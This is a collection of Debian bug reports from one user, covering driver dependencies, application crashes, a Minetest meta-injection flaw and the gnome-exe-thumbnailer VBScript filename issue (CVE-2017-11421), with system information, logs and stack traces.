out that a package that is supposed to install all drivers is not doing 
that actually.

Therefore I kindly ask you to please not listen to this person who owns 
newer hardware than I do.


Greetings,
Nils Moskopp

-- System Information:
Debian Release: 11.2
  APT prefers stable
  APT policy: (900, 'stable'), (500, 'oldoldstable')
Architecture: i386 (i686)

Kernel: Linux 5.10.0-10-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages xserver-xorg-video-all depends on:
ii  xserver-xorg-video-amdgpu   19.1.0-2
ii  xserver-xorg-video-ati  1:19.1.0-2
ii  xserver-xorg-video-fbdev1:0.5.0-1
ii  xserver-xorg-video-nouveau  1:1.0.17-1
ii  xserver-xorg-video-vesa 1:2.5.0-1
ii  xserver-xorg-video-vmware   1:13.3.0-3

Versions of packages xserver-xorg-video-all recommends:
ii  xserver-xorg-video-intel  2:2.99.917+git20200714-1+b1
pn  xserver-xorg-video-qxl

xserver-xorg-video-all suggests no packages.

-- no debconf information


Bug#1004277: xserver-xorg-video-all does not depend on xserver-xorg-video-intel

2022-01-23 Thread Nils Dagsson Moskopp
Package: xserver-xorg-video-all
Version: 1:7.7+22
Severity: important
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net

Dear Maintainer,

on my computer (Thinkpad T60) X11 would not start, throwing an error 
about OpenGL 2.1 being required. I was very concerned, since the GPU 
does not support OpenGL 2.1.

I had already installed xserver-xorg-video-all and was very confused. 
Only as I noticed that xserver-xorg-video-intel was not a dependency, 
but merely recommended, I figured out that I could try to install it.

I suspect that someone assumed that some fallback driver would be able 
to handle the situation. Clearly, this is not the case. I therefore ask 
for xserver-xorg-video-all to please depend on xserver-xorg-video-intel.

--- snib ---

; glxinfo |grep OpenGL
OpenGL vendor string: Intel Open Source Technology Center
OpenGL renderer string: Mesa DRI Intel(R) 945GM x86/MMX/SSE2
OpenGL version string: 1.4 Mesa 20.3.5
OpenGL extensions:
OpenGL ES profile version string: OpenGL ES 2.0 Mesa 20.3.5
OpenGL ES profile shading language version string: OpenGL ES GLSL ES 1.0.16
OpenGL ES profile extensions:

--- snab ---

Greetings,
Nils Moskopp

-- System Information:
Debian Release: 11.2
  APT prefers stable
  APT policy: (900, 'stable'), (500, 'oldoldstable')
Architecture: i386 (i686)

Kernel: Linux 5.10.0-10-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages xserver-xorg-video-all depends on:
ii  xserver-xorg-video-amdgpu   19.1.0-2
ii  xserver-xorg-video-ati  1:19.1.0-2
ii  xserver-xorg-video-fbdev1:0.5.0-1
ii  xserver-xorg-video-nouveau  1:1.0.17-1
ii  xserver-xorg-video-vesa 1:2.5.0-1
ii  xserver-xorg-video-vmware   1:13.3.0-3

Versions of packages xserver-xorg-video-all recommends:
ii  xserver-xorg-video-intel  2:2.99.917+git20200714-1+b1
pn  xserver-xorg-video-qxl

xserver-xorg-video-all suggests no packages.

-- no debconf information


Xorg.0.log.old
Description: application/json


Bug#1004223: minetest-server: ItemStack meta injection vulnerability in Minetest 5.3

2022-01-22 Thread Nils Dagsson Moskopp
Package: minetest-server
Version: 5.3.0+repack-2.1
Severity: grave
Tags: patch security
Justification: user security hole
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net, Debian Security 
Team 

Dear Maintainer,


Minetest 5.3 contains a serious security issue by default.
The ItemStack meta is not sanitized properly by the server.

Is is therefore possible for clients to inject ItemStack meta.
It might be possible to backdoor the server by injecting Lua.

Computers running Minetest 5.3 are vulnerable to this exploit.
The following patch, part of Minetest 5.4, fixes the problem:

https://github.com/minetest/minetest/commit/b5956bde259faa240a81060ff4e598e25ad52dae


Greetings,
Nils Moskopp

-- System Information:
Debian Release: 11.2
  APT prefers oldoldstable
  APT policy: (500, 'oldoldstable'), (500, 'stable')
Architecture: i386 (i686)

Kernel: Linux 4.19.0-6-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages minetest-server depends on:
ii  adduser  3.118
ii  init-system-helpers  1.60
ii  libc62.31-13+deb11u2
ii  libcurl3-gnutls  7.74.0-1.3+deb11u1
ii  libgcc-s110.2.1-6
ii  libgmp10 2:6.2.1+dfsg-1+deb11u1
ii  libjsoncpp24 1.9.4-4
ii  libleveldb1d 1.22-3
ii  libluajit-5.1-2  2.1.0~beta3+dfsg-5.3
ii  libncursesw6 6.2+20201114-2
ii  libpq5   13.5-0+deb11u1
ii  libspatialindex6 1.9.3-2
ii  libsqlite3-0 3.34.1-3
ii  libstdc++6   10.2.1-6
ii  libtinfo66.2+20201114-2
ii  lsb-base 11.1.0
ii  minetest-data5.3.0+repack-2.1
ii  zlib1g   1:1.2.11.dfsg-2

minetest-server recommends no packages.

minetest-server suggests no packages.

-- no debconf information



Bug#1004208: quaternion: Quaternion hangs on login at 100% CPU

2022-01-22 Thread Nils Dagsson Moskopp
Package: quaternion
Version: 0.0.9.5~beta2-2
Severity: important
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net

Dear Maintainer,

I am trying to find a Matrix chat client that does not lag my computer.

When logging in with Quaternion, after login it hangs forever at 100% CPU.

I expected it to allow me to chat with my friends and not use many resources.

Greetings,
Nils Moskopp

-- System Information:
Debian Release: 11.2
  APT prefers oldoldstable
  APT policy: (500, 'oldoldstable'), (500, 'stable')
Architecture: i386 (i686)

Kernel: Linux 4.19.0-6-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages quaternion depends on:
ii  libc6 2.31-13+deb11u2
ii  libgcc-s1 10.2.1-6
ii  libqt5core5a  5.15.2+dfsg-9
ii  libqt5gui55.15.2+dfsg-9
ii  libqt5keychain1   0.10.0-1
ii  libqt5network55.15.2+dfsg-9
ii  libqt5qml55.15.2+dfsg-6
ii  libqt5quick5  5.15.2+dfsg-6
ii  libqt5quickwidgets5   5.15.2+dfsg-6
ii  libqt5widgets55.15.2+dfsg-9
ii  libquotient0.60.6.6-1
ii  libstdc++610.2.1-6
ii  qml-module-qtquick-controls   5.15.2-2
ii  qml-module-qtquick-controls2  5.15.2+dfsg-2

quaternion recommends no packages.

quaternion suggests no packages.

-- no debconf information



Bug#1004205: matrix-mirage shows error on login

2022-01-22 Thread Nils Dagsson Moskopp
Package: matrix-mirage
Version: 0.6.4~dfsg+~hsluv1.0.0-4
Severity: important
X-Debbugs-Cc: nils+debian-report...@dieweltistgarnichtso.net

Dear Maintainer,

I am trying to find a Matrix chat client that does not lag my computer.

I tried matrix-mirage. Unfortunately, upon login, I got this error:

--- 8< --- snib --- 8< ---

X 19:21:13 | python: (200, None)
Traceback (most recent call last):
  File "qrc:/src/backend/matrix_client.py", line 399, in _start
await self.sync_task
  File "/usr/lib/python3/dist-packages/nio/client/async_client.py", line 1130, 
in sync_forever
sync_response = await self.sync(use_timeout, use_filter, since, full_state, 
presence)
  File "/usr/lib/python3/dist-packages/nio/client/async_client.py", line 1003, 
in sync
response = await self._send(
  File "qrc:/src/backend/matrix_client.py", line 255, in _send
raise MatrixError.from_nio(response)
backend.errors.MatrixError: (200, None)

--- >8 --- snab --- >8 ---

The error is repeatedly printed on the terminal about every five seconds.

-- System Information:
Debian Release: 11.2
  APT prefers oldoldstable
  APT policy: (500, 'oldoldstable'), (500, 'stable')
Architecture: i386 (i686)

Kernel: Linux 4.19.0-6-686 (SMP w/2 CPU threads)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages matrix-mirage depends on:
ii  libc6   2.31-13+deb11u2
ii  libgcc-s1   10.2.1-6
ii  libqt5core5a5.15.2+dfsg-9
ii  libqt5gui5  5.15.2+dfsg-9
ii  libqt5qml5  5.15.2+dfsg-6
ii  libqt5quick55.15.2+dfsg-6
ii  libqt5quickcontrols2-5  5.15.2+dfsg-2
ii  libqt5widgets5  5.15.2+dfsg-9
ii  libstdc++6  10.2.1-6
ii  libx11-62:1.7.2-1
ii  libxss1 1:1.2.3-1
ii  python3 3.9.2-3
ii  python3-aiofiles0.6.0-2
ii  python3-appdirs 1.4.4-1
ii  python3-blist   1.3.6-7+b1
ii  python3-cairosvg2.5.0-1.1
ii  python3-html-sanitizer  1.9.1-2
ii  python3-lxml4.6.3+dfsg-0.1
ii  python3-magic   2:0.4.20-3
ii  python3-matrix-nio  0.16.0-1
ii  python3-mistune 0.8.4-4
ii  python3-pil 8.1.2+dfsg-0.3
ii  python3-pymediainfo 5.0.3-1
ii  qml-module-io-thp-pyotherside   1.5.9-2+b3
ii  qml-module-qt-labs-folderlistmodel  5.15.2+dfsg-6
ii  qml-module-qt-labs-platform 5.15.2+dfsg-2
ii  qml-module-qt-labs-qmlmodels5.15.2+dfsg-6
ii  qml-module-qtav 1.13.0+ds-3+b2
ii  qml-module-qtgraphicaleffects   5.15.2-2
ii  qml-module-qtquick-controls25.15.2+dfsg-2
ii  qml-module-qtquick-dialogs  5.15.2-2
ii  qml-module-qtquick-layouts  5.15.2+dfsg-6
ii  qml-module-qtquick-shapes   5.15.2+dfsg-6
ii  qml-module-qtquick-window2  5.15.2+dfsg-6
ii  qml-module-qtquick2 5.15.2+dfsg-6

Versions of packages matrix-mirage recommends:
pn  fonts-hack 
ii  fonts-roboto-unhinted  2:0~20170802-3
pn  qt5-image-formats-plugins  

matrix-mirage suggests no packages.

-- no debconf information



Bug#961853: micro crashes at startup

2020-05-30 Thread Nils Dagsson Moskopp
Package: micro
Version: 2.0.3-1~bpo10+1
Severity: grave
Justification: renders package unusable

Dear Maintainer,

a friend just suggested that I try the “micro” text editor.
I installed the software using “sudo apt-get install micro”.

I executed the command “micro” from a terminal. Instead of starting an 
editor, the terminal contents look all weird and only executing “reset” 
brings it into a usable state again. I see no text editor anywhere.

I managed to capture the error messages by redirecting the standard 
error to a file, which I have appended to this bug report.

-- System Information:
Debian Release: 10.2
  APT prefers stable
  APT policy: (500, 'stable'), (500, 'oldstable')
Architecture: i386 (i686)

Kernel: Linux 4.19.0-6-686 (SMP w/2 CPU cores)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), 
LANGUAGE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages micro depends on:
ii  libc6  2.28-10

Versions of packages micro recommends:
ii  xclip  0.13-1

micro suggests no packages.

-- no debconf information
unexpected fault address 0x80cda9e9
fatal error: fault
[signal SIGSEGV: segmentation violation code=0x1 addr=0x80cda9e9 pc=0x9b2896]

goroutine 1 [running]:
runtime.throw(0x9fa5fc, 0x5)
/usr/lib/go-1.11/src/runtime/panic.go:608 +0x70 fp=0x23d2de0 
sp=0x23d2dcc pc=0x52cb00
runtime.sigpanic()
/usr/lib/go-1.11/src/runtime/signal_unix.go:397 +0x1e4 fp=0x23d2e04 
sp=0x23d2de0 pc=0x542224
github.com/zyedidia/micro/internal/display.(*BufWindow).Relocate(0x2231d00, 
0x9b2215)
github.com/zyedidia/micro/internal/display/bufwindow.go:153 +0x126 
fp=0x23d2e40 sp=0x23d2e04 pc=0x9b2896
github.com/zyedidia/micro/internal/display.(*BufWindow).Resize(0x2231d00, 0x50, 
0x17)
github.com/zyedidia/micro/internal/display/bufwindow.go:57 +0x32 
fp=0x23d2e4c sp=0x23d2e40 pc=0x9b2242
github.com/zyedidia/micro/internal/action.(*BufPane).Resize(0x2068d20, 0x50, 
0x17)
:1 +0x3e fp=0x23d2e5c sp=0x23d2e4c pc=0x9dc17e
github.com/zyedidia/micro/internal/action.(*Tab).Resize(0x2231ce0)
github.com/zyedidia/micro/internal/action/tab.go:296 +0xd1 fp=0x23d2e8c 
sp=0x23d2e5c pc=0x9d5dd1
github.com/zyedidia/micro/internal/action.(*TabList).Resize(0x21ae820)
github.com/zyedidia/micro/internal/action/tab.go:92 +0x210 fp=0x23d2ec4 
sp=0x23d2e8c pc=0x9d5070
github.com/zyedidia/micro/internal/action.(*TabList).HandleEvent(0x21ae820, 
0xc85970, 0x21a4040)
github.com/zyedidia/micro/internal/action/tab.go:102 +0x1b8 
fp=0x23d2edc sp=0x23d2ec4 pc=0x9d5298
main.main()
github.com/zyedidia/micro/cmd/micro/micro.go:316 +0x5b2 fp=0x23d2fd0 
sp=0x23d2edc pc=0x9f6b02
runtime.main()
/usr/lib/go-1.11/src/runtime/proc.go:201 +0x289 fp=0x23d2ff0 
sp=0x23d2fd0 pc=0x52e619
runtime.goexit()
/usr/lib/go-1.11/src/runtime/asm_386.s:1324 +0x1 fp=0x23d2ff4 
sp=0x23d2ff0 pc=0x558771

goroutine 5 [syscall]:
os/signal.signal_recv(0x0)
/usr/lib/go-1.11/src/runtime/sigqueue.go:139 +0x157
os/signal.loop()
/usr/lib/go-1.11/src/os/signal/signal_unix.go:23 +0x1b
created by os/signal.init.0
/usr/lib/go-1.11/src/os/signal/signal_unix.go:29 +0x3d

goroutine 17 [select]:
github.com/zyedidia/tcell.(*tScreen).mainLoop(0x20dc420)
github.com/zyedidia/tcell/tscreen.go:1411 +0x166
created by github.com/zyedidia/tcell.(*tScreen).Init
github.com/zyedidia/tcell/tscreen.go:198 +0x623

goroutine 18 [IO wait]:
internal/poll.runtime_pollWait(0xa7a95fc0, 0x72, 0x5ae26a)
/usr/lib/go-1.11/src/runtime/netpoll.go:173 +0x4c
internal/poll.(*pollDesc).wait(0x21501d4, 0x72, 0xff01, 0xc85150, 0x5c60e5)
/usr/lib/go-1.11/src/internal/poll/fd_poll_runtime.go:85 +0x99
internal/poll.(*pollDesc).waitRead(0x21501d4, 0x2234001, 0x1000, 0x1000)
/usr/lib/go-1.11/src/internal/poll/fd_poll_runtime.go:90 +0x33
internal/poll.(*FD).Read(0x21501c0, 0x2234000, 0x1000, 0x1000, 0x0, 0x0, 0x0)
/usr/lib/go-1.11/src/internal/poll/fd_unix.go:169 +0x152
os.(*File).read(0x211df90, 0x2234000, 0x1000, 0x1000, 0x0, 0x0, 0x0)
/usr/lib/go-1.11/src/os/file_unix.go:249 +0x3e
os.(*File).Read(0x211df90, 0x2234000, 0x1000, 0x1000, 0x1000, 0x1000, 0x0)
/usr/lib/go-1.11/src/os/file.go:108 +0x52
github.com/zyedidia/tcell.(*tScreen).inputLoop(0x20dc420)
github.com/zyedidia/tcell/tscreen.go:1464 +0x9b
created by github.com/zyedidia/tcell.(*tScreen).Init
github.com/zyedidia/tcell/tscreen.go:199 +0x646

goroutine 9 [select]:
github.com/zyedidia/tcell.(*tScreen).PollEvent(0x20dc420, 0x23dd7e4, 0x21a4040)
github.com/zyedidia/tcell/tscreen.go:819 +0x97
main.main.func3()
github.com/zyedidia/micro/cmd/micro/micro.go:299 +0x33
created by main.main
github.com/zyedidia/micro/cmd/micro/micro.go:296 +0x4a1


Bug#946308: /usr/games/fs2_open: fs2_open crashes immediately (illegal instruction)

2019-12-07 Thread Nils Dagsson Moskopp
Bernhard Übelacker  writes:

> Dear Maintainer,
> I tried to reproduce inside a minimal Buster i386 qemu VM
> and received also an "Illegal instruction" message.
>
> It looks like it tries to execute an AVX instruction that
> my CPU should support, but is not enabled inside the VM.
>
> The usage of AVX might originate from the compiler
> flag "-march=native".
> This might be added in configure.ac, lines 149 or 163.

To clarify:

- line 149 is for a target architecture matching “x86_64-*-linux*”
- line 163 is for a target architecture matching “*-*-linux*”

In both cases, using “-march=native” seems like a wrong thing to use.
 states clearly:

Using -march=native enables all instruction subsets supported by the
local machine (hence the result might not run on different machines).

> The solution could be to just add this configure flag:
> -CONF_O=--bindir=/usr/games --disable-silent-rules --enable-speech
> +CONF_O=--bindir=/usr/games --disable-silent-rules --enable-speech 
> --enable-generic-architecture
>
> Then these flags get used instead:
>   -mtune=generic -mfpmath=sse -msse -msse2
> Do these also violate the i386 Buster baseline?
>
> Kind regards,
> Bernhard

I have re-built the Debian package according to those instructions and
it seems to work on my machine … Then again, I suspect this would also
have been the case if I just had rebuilt the package – due to “native”
architecture choice. It now gives an entirely different error message:

; cd /usr/share/games/freespace2-open/ && fs2_open
ERROR: " Web cursor bitmap not found.  This is most likely due to one of three 
reasons: 1) You're running FreeSpace Open from somewhere other than 
your FreeSpace 2 folder; 2) You've somehow corrupted your FreeSpace 2 
installation, e.g. by modifying or removing the retail VP files;   3) You 
haven't installed FreeSpace 2 at all.  (Note that installing FreeSpace Open 
does NOT remove the need for a FreeSpace 2 installation.) Number 1 can be fixed 
by simply moving the FreeSpace Open executable file to the FreeSpace 2 folder.  
Numbers 2 and 3 can be fixed by installing or reinstalling FreeSpace 2." at 
graphics/2d.cpp:1079
AL lib: (EE) alc_cleanup: 1 device not closed

I definitely have not installed FreeSpace 2 content, so I expect this.



Bug#935057: RM: afl -- ROM; upstream not actively developed anymore

2019-09-08 Thread Nils Dagsson Moskopp
Paul Tagliamonte  writes:

> Well, seeing as how Daniel Is the maintainer, perhaps one of you can take
> over as maintainer and rename / reassign this bug to an adoption.
>
> How does that sound, all?

If no one is willing, I can be a maintainer, but I have no experience.

I have been asking around for maintainers for some days now.

Please reassign this bug to an adoption soon.



Bug#939770: wireshark: Wrong path in pre-install notification

2019-09-08 Thread Nils Dagsson Moskopp
Package: wireshark
Version: 2.6.7-1~deb9u1
Severity: minor

Dear Maintainer,

in the pre-install notification about installing dumpcamp so that
non-root users can capture packets it is displayed that users can
read about that feature in the file at the following path:

/usr/share/doc/wireshark-common/README.Debian

A file does not actually exist at the path.
After installation, it does also not exist.
However, the following path holds the file:

/usr/share/doc/wireshark-common/README.Debian.gz

I suggest to change path in the question and make it clear that the
file will only exist after the package is installed – even though a
text mentioning it might be shown before installation is completed.

-- System Information:
Debian Release: 9.9
  APT prefers oldstable-updates
  APT policy: (500, 'oldstable-updates'), (500, 'oldstable')
Architecture: i386 (i686)

Kernel: Linux 4.9.0-7-686 (SMP w/2 CPU cores)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), 
LANGUAGE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages wireshark depends on:
ii  wireshark-qt  2.6.7-1~deb9u1

wireshark recommends no packages.

wireshark suggests no packages.

-- no debconf information


Bug#935057: RM: afl -- ROM; upstream not actively developed anymore

2019-08-30 Thread Nils Dagsson Moskopp
Package: ftp.debian.org
Followup-For: Bug #935057


According to this, there were 5 commits today:




Bug#927386: /lib/modules/4.9.0-7-686/kernel/drivers/gpu/drm/radeon/radeon.ko: “modprobe radeon 'modeset=1'” on Thinkpad R60: black screen, kernel NULL pointer dereference

2019-04-18 Thread Nils Dagsson Moskopp
Package: src:linux
Version: 4.9.110-3+deb9u2
Severity: important
File: /lib/modules/4.9.0-7-686/kernel/drivers/gpu/drm/radeon/radeon.ko

Dear Maintainer,

I boot Linux with Kernel Modesetting disabled. This is the only way to
prevent a completely black screen. Unfortunately, it limits me to VESA
graphics, i.e. no 3D at all – since User Modesetting is not available.

A “modprobe radeon 'modeset=0'” only generates this kernel message:
[drm:radeon_init [radeon]] *ERROR* No UMS support in radeon module!

Whenever I attempt to load the radeon module with modeseting enabled,
the screen immediately goes black. I expected it to actually load the
driver, change the resolution using Kernel Modesetting and give me 3D
rendering acceleration, via the radeon module. The kernel outputs the
lines after this paragraph, which mention the dereferencing of a NULL
pointer; I believe this is a program error in the radeon driver code.

[ 4374.923486] [drm] radeon kernel modesetting enabled.
[ 4374.923646] checking generic (d800 5b) vs hw (d800 800)
[ 4374.923649] fb: switching to radeondrmfb from VESA VGA
[ 4374.923775] Console: switching to colour dummy device 80x25
[ 4374.924928] [drm] initializing kernel modesetting (RV515 0x1002:0x7145 
0x17AA:0x2006 0x00).
[ 4374.924964] [drm] register mmio base: 0xEE00
[ 4374.924967] [drm] register mmio size: 65536
[ 4374.925149] ATOM BIOS: M54CSP/M52CSP
[ 4374.925173] [drm] Generation 2 PCI interface, using max accessible memory
[ 4374.925183] radeon :01:00.0: VRAM: 128M 0x - 
0x07FF (128M used)
[ 4374.925190] radeon :01:00.0: GTT: 512M 0x0800 - 
0x27FF
[ 4374.927419] [drm] Detected VRAM RAM=128M, BAR=128M
[ 4374.927423] [drm] RAM width 128bits DDR
[ 4374.936146] [TTM] Zone  kernel: Available graphics memory: 440242 kiB
[ 4374.936150] [TTM] Zone highmem: Available graphics memory: 1033590 kiB
[ 4374.936152] [TTM] Initializing pool allocator
[ 4374.936214] [drm] radeon: 128M of VRAM memory ready
[ 4374.936217] [drm] radeon: 512M of GTT memory ready.
[ 4374.936251] [drm] GART: num cpu pages 131072, num gpu pages 131072
[ 4374.937907] [drm] radeon: power management initialized
[ 4374.940380] [drm] radeon: 1 quad pipes, 1 z pipes initialized.
[ 4374.947928] [drm] PCIE GART of 512M enabled (table at 0x0004).
[ 4374.947982] radeon :01:00.0: WB enabled
[ 4374.947991] radeon :01:00.0: fence driver on ring 0 use gpu addr 
0x0800 and cpu addr 0xf2ea1000
[ 4374.947995] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
[ 4374.947997] [drm] Driver supports precise vblank timestamp query.
[ 4374.948001] radeon :01:00.0: radeon: MSI limited to 32-bit
[ 4374.948064] [drm] radeon: irq initialized.
[ 4374.948100] [drm] Loading R500 Microcode
[ 4374.951990] radeon :01:00.0: firmware: direct-loading firmware 
radeon/R520_cp.bin
[ 4374.953018] [drm] radeon: ring at 0x08001000
[ 4374.953060] [drm] ring test succeeded in 9 usecs
[ 4374.953433] [drm] ib test succeeded in 0 usecs
[ 4374.954709] [drm] Radeon Display Connectors
[ 4374.954712] [drm] Connector 0:
[ 4374.954713] [drm]   VGA-1
[ 4374.954718] [drm]   DDC: 0x7e40 0x7e40 0x7e44 0x7e44 0x7e48 0x7e48 0x7e4c 
0x7e4c
[ 4374.954720] [drm]   Encoders:
[ 4374.954722] [drm] CRT1: INTERNAL_KLDSCP_DAC1
[ 4374.954724] [drm] Connector 1:
[ 4374.954726] [drm]   LVDS-1
[ 4374.954731] [drm]   DDC: 0x7e60 0x7e60 0x7e64 0x7e64 0x7e68 0x7e68 0x7e6c 
0x7e6c
[ 4374.954732] [drm]   Encoders:
[ 4374.954734] [drm] LCD1: INTERNAL_LVTM1
[ 4374.954736] [drm] Connector 2:
[ 4374.954738] [drm]   SVIDEO-1
[ 4374.954739] [drm]   Encoders:
[ 4374.954741] [drm] TV1: INTERNAL_KLDSCP_DAC2
[ 4374.954743] [drm] Connector 3:
[ 4374.954745] [drm]   DVI-I-1
[ 4374.954747] [drm]   HPD1
[ 4374.954751] [drm]   DDC: 0x7e50 0x7e50 0x7e54 0x7e54 0x7e58 0x7e58 0x7e5c 
0x7e5c
[ 4374.954753] [drm]   Encoders:
[ 4374.954755] [drm] DFP1: INTERNAL_KLDSCP_TMDS1
[ 4375.348177] [drm] fb mappable at 0xD80C
[ 4375.348181] [drm] vram apper at 0xD800
[ 4375.348183] [drm] size 5914624
[ 4375.348185] [drm] fb depth is 24
[ 4375.348187] [drm]pitch is 5632
[ 4375.348428] fbcon: radeondrmfb (fb0) is primary device
[ 4375.348793] Console: switching to colour frame buffer device 175x65
[ 4375.348807] radeon :01:00.0: fb0: radeondrmfb frame buffer device
[ 4375.364112] [drm] Initialized radeon 2.49.0 20080528 for :01:00.0 on 
minor 0
[ 4375.364854] PCI registers are not implemented.
[ 4375.364890] BUG: unable to handle kernel NULL pointer dereference at 0124
[ 4375.365041] IP: [] atom_get_src_int+0x626/0x6f0 [radeon]
[ 4375.365209] *pde =  

[ 4375.365270] Oops:  [#1] SMP
[ 4375.365324] Modules linked in: radeon btrfs xor raid6_pq ufs qnx4 hfsplus 
hfs minix ntfs vfat msdos fat jfs xfs libcrc32c ctr ccm snd_hrtimer snd_seq 
snd_seq_device fuse binfmt_misc iTCO_wdt iTCO_vendor_support arc4 pcmcia 
coretemp ttm iwl3945 drm_kms_helper 

Bug#921773: i3lock: Failed attempts count wraps around after 2^32 wrong login attempts

2019-02-08 Thread Nils Dagsson Moskopp
Package: i3lock
Version: 2.8-1
Severity: minor

Dear Maintainer,


i3lock can show the number of failed attempts using the -f flag. If
the number of failed attempts is higher than 999, it shows “>999” –
but the value shown was “1” again, after I manually incremented the
value saved in i3lock memory to 2^32-1 and entered a wrong password
again. I think one can duplicate this pretty easily using scanmem …

To be clear, I expected the amount of failed attempts to be “>999”,
without any wraparound behaviour. Note that the man page for i3lock
does not contain a description of “>999” behaviour for the -f flag.

I chose “Severity: minor” since it looks like a cosmetic bug to me.


-- System Information:
Debian Release: 9.7
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: i386 (i686)

Kernel: Linux 4.9.0-7-686 (SMP w/2 CPU cores)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), 
LANGUAGE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages i3lock depends on:
ii  libc6   2.24-11+deb9u3
ii  libcairo2   1.14.8-1
ii  libev4  1:4.22-1+b1
ii  libpam0g1.1.8-3.6
ii  libxcb-dpms01.12-1
ii  libxcb-image0   0.4.0-1+b2
ii  libxcb-shm0 1.12-1
ii  libxcb-util00.3.8-3+b2
ii  libxcb-xinerama01.12-1
ii  libxcb-xkb1 1.12-1
ii  libxcb1 1.12-1
ii  libxkbcommon-x11-0  0.7.1-2~deb9u1
ii  libxkbcommon0   0.7.1-2~deb9u1

i3lock recommends no packages.

i3lock suggests no packages.

-- no debconf information


Bug#888266: stterm: Space between letters when using GNU Unifont

2019-02-05 Thread Nils Dagsson Moskopp
Paride Legovini  writes:

> On Wed, 24 Jan 2018 14:22:24 +0100 Nils Dagsson Moskopp
>  wrote:> when starting
> stterm with GNU Unifont, with “stterm -f unifont”, the
>> letter spacing is much too wide. This makes this terminal unpleasant
>> to read. Also the terminal window became unusually wide due to this.
>
> Hello Nils,
>
> I can't reproduce the issue with stterm 0.8.1-1. Could you please give
> it a try and confirm it's fixed?

I did try st downloaded from https://dl.suckless.org/st/st-0.8.1.tar.gz
sha256 c4fb0fe2b8d2d3bd5e72763e80a8ae05b7d44dbac8f8e3bb18ef0161c7266926

As far as I can tell, the bug seems to be fixed in that stterm version.

Greetings,
Nils



Bug#888266: stterm: Space between letters when using GNU Unifont

2018-01-24 Thread Nils Dagsson Moskopp
Package: stterm
Version: 0.6-1
Severity: minor

Dear Maintainer,

when starting stterm with GNU Unifont, with “stterm -f unifont”, the
letter spacing is much too wide. This makes this terminal unpleasant
to read. Also the terminal window became unusually wide due to this.

I am including a screenshot to illustrate the problem.


-- System Information:
Debian Release: 9.3
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: i386 (i686)

Kernel: Linux 3.16.0-4-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages stterm depends on:
ii  libc6   2.24-11+deb9u1
ii  libfontconfig1  2.11.0-6.7+b1
ii  libx11-62:1.6.4-3
ii  libxft2 2.3.2-1+b2

stterm recommends no packages.

stterm suggests no packages.

-- no debconf information


Bug#771542: stterm shows glyphs twice

2018-01-24 Thread Nils Dagsson Moskopp
Package: stterm
Followup-For: Bug #771542

Dear Maintainer,

this bug no longer occurs on my system.

-- System Information:
Debian Release: 9.3
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: i386 (i686)

Kernel: Linux 3.16.0-4-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages stterm depends on:
ii  libc6   2.24-11+deb9u1
ii  libfontconfig1  2.11.0-6.7+b1
ii  libx11-62:1.6.4-3
ii  libxft2 2.3.2-1+b2

stterm recommends no packages.

stterm suggests no packages.

-- no debconf information



Bug#868705: gnome-exe-thumbnailer: Thumbnail generation for MSI files executes arbitrary VBScript

2017-07-18 Thread Nils Dagsson Moskopp
Quote <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11421>:

> gnome-exe-thumbnailer before 0.9.5 is prone to a VBScript Injection
> when generating thumbnails for MSI files, aka the "Bad Taste"
> issue. There is a local attack if the victim uses the GNOME Files file
> manager, and navigates to a directory containing a .msi file with
> VBScript code in its filename.

Note that thumbnailer issues could be exploited via drive-by downloads
with any web browser that does not ask users if files should be saved.

Salvatore Bonaccorso <car...@debian.org> writes:

> Control: retitle -1 gnome-exe-thumbnailer: CVE-2017-11421: Thumbnail 
> generation for MSI files executes arbitrary VBScript
>  
> Hi
>
> CVE-2017-11421 has been assigned for this issue.
>
> Regards,
> Salvatore

-- 
